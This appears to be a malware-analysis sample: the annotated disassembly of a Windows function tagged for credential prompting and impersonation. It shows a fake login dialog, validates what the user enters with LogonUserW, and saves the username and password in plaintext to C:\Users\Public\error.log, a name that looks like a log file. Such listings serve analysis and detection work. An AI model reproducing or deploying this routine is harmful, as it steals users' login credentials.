Function at 0x140001000
Capabilities:
Impersonate user
Prompt user for credentials
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
lea rbp, [rsp - 0x1ef0]
mov eax, 0x1ff0
call fcn.14000c670
sub rsp, rax
mov rax, qword [0x140017008]
xor rax, rsp
mov qword [rbp + 0x1ee0], rax
xor edx, edx
lea rcx, [rbp + 0xec0]
mov r8d, 0x804
call fcn.140002590
xor edx, edx
lea rcx, [rbp + 0x20]
mov r8d, 0x400
call fcn.140002590
xor edx, edx
lea rcx, [rbp + 0x420]
mov r8d, 0x544
call fcn.140002590
movzx eax, word [0x140014728]
lea r8, [rbp - 0x70]
movups xmm0, xmmword [0x140014710]
lea rcx, [rsp + 0x60]
mov word [rbp - 0x48], ax
movsd xmm1, qword [0x140014720]
xor esi, esi
mov eax, dword [0x140014748]
xor r9d, r9d
mov dword [rbp - 0x28], eax
xor edx, edx
mov eax, dword [0x140014780]
mov dword [rbp + 0x10], eax
lea rax, [rbp - 0x60]
movups xmmword [rbp - 0x60], xmm0
mov dword [rsp + 0x40], 0x200
movups xmm0, xmmword [0x140014730]
mov dword [rbp - 0x64], 0x202
movsd qword [rbp - 0x50], xmm1
movsd xmm1, qword [0x140014740]
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x6c], 0x101
movups xmm0, xmmword [str.C:usersPublicerror.log]
mov dword [rbp - 0x68], 0x152
movsd qword [rbp - 0x30], xmm1
movups xmm1, xmmword [0x140014760]
mov dword [rbp - 0x70], esi
movups xmmword [rbp - 0x20], xmm0
mov qword [rsp + 0x50], rsi
movups xmm0, xmmword [0x140014770]
mov dword [rbp - 0x78], esi
movups xmmword [rbp - 0x10], xmm1
mov dword [rbp - 0x74], esi
movups xmmword [rbp], xmm0
mov dword [rsp + 0x60], 0x28
xorps xmm0, xmm0
mov qword [rsp + 0x58], rsi
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x70], rax
lea rax, [rbp - 0x40]
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x78], rax
lea rax, [rbp - 0x74]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov qword [rsp + 0x68], rsi
call qword [sym.imp.credui.dll_CredUIPromptForWindowsCredentialsW]
test eax, eax
jne 0x140001303
nop dword [rax]
mov r8d, dword [rbp - 0x78]
lea rax, [rbp - 0x6c]
mov rdx, qword [rsp + 0x50]
lea r9, [rbp + 0xec0]
mov qword [rsp + 0x40], rax
mov ecx, 1
lea rax, [rbp + 0x20]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x68]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x420]
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x64]
mov qword [rsp + 0x20], rax
call qword [sym.imp.credui.dll_CredUnPackAuthenticationBufferW]
lea r9, [rbp + 0x970]
mov dword [rsp + 0x20], 0x152
mov r8d, 0x202
lea rdx, [rbp + 0x16d0]
lea rcx, [rbp + 0xec0]
call qword [sym.imp.credui.dll_CredUIParseUserNameW]
lea rax, [rsp + 0x58]
mov r9d, 3
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x970]
mov dword [rsp + 0x20], esi
lea rcx, [rbp + 0x16d0]
call qword [sym.imp.ADVAPI32.dll_LogonUserW]
test eax, eax
jne 0x14000125d
mov dword [rsp + 0x40], 0x200
lea rax, [rbp - 0x74]
mov qword [rsp + 0x38], rax
lea r8, [rbp - 0x70]
lea rax, [rbp - 0x78]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x60]
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
call qword [sym.imp.credui.dll_CredUIPromptForWindowsCredentialsW]
test eax, eax
je 0x140001170
jmp 0x140001303
mov qword [rsp + 0x2000], rbx
mov ecx, 0x806
mov qword [rsp + 0x2008], rdi
call fcn.140001360
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
lea rcx, [rbp - 0x20]
mov edx, 0x10000000
mov dword [rsp + 0x20], 4
mov rbx, rax
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x20]
mov rcx, rbx
lea r8, [rbp + 0xec0]
mov rdi, rax
lea rdx, str.__Username:__s___Password:__s_n
call qword [sym.imp.USER32.dll_wsprintfW]
cmp rdi, 0xffffffffffffffff
je 0x1400012f3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov rdx, rbx
mov rcx, rdi
lea r8d, [rax + rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2000]
mov rdi, qword [rsp + 0x2008]
xor eax, eax
mov rcx, qword [rbp + 0x1ee0]
xor rcx, rsp
call fcn.140001340
mov rsi, qword [rsp + 0x2010]
add rsp, 0x1ff0
pop rbp
ret